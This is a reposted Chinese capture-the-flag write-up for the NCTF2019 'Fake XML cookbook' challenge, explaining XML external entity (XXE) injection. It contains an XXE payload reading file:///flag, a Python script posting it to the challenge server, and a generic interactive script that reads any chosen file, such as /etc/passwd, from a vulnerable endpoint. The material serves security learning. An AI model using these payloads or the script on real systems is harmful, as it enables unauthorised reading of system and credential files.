[NCTF2019]Fake XML cookbook


0x00 知識點

XXE攻擊
附上鏈接:

https://xz.aliyun.com/t/6887

XXE(XML External Entity Injection)全稱為XML外部實體注入
XML可能存在的漏洞:
XML注入和XPath注入XML 外部實體注入

什么是 XML?
XML 指可擴展標記語言(EXtensible Markup Language)。
XML 的設計宗旨是傳輸數據,而不是顯示數據。
XML 是 W3C 的推薦標准。
XML 不會做任何事情。XML 被設計用來結構化、存儲以及傳輸信息。
XML 語言沒有預定義的標簽

0x01 解題

這是一道最簡單的XXE
查看源碼

用XML和服務器通訊,聯想到XXE攻擊
實際上看頁面也懂了,這是XXE-LAB
payload:

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>
import requests
url = "http://0c1959cb-aa7d-465c-9174-124b5eed19fb.node3.buuoj.cn/"

payload = '''<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<user><username>&foo;</username><password>0</password></user>
'''

r = requests.post(url,data=payload,headers={'Content-Type':'text/xml'})
print r.text

都沒彈出來flag..
不過學習了XML有收獲233


最后附上一個腳本:

#!/usr/bin/python
# -*- coding:utf-8 -*-

import urllib2

if __name__ == '__main__':

    print u'輸入要訪問的地址,如http://127.0.0.1/xml/xxe2.php'
    url = raw_input()
    count=1
    while count==1:
        print u'輸入要讀取的文件,如file:///etc/passwd'
        payload = raw_input()
        headers = {'Content-type': 'text/xml'}
        xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
        req = urllib2.Request(url = url,headers = headers, data = xml)
        res_data = urllib2.urlopen(req)
        res = res_data.read()
        print res

運行如下:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM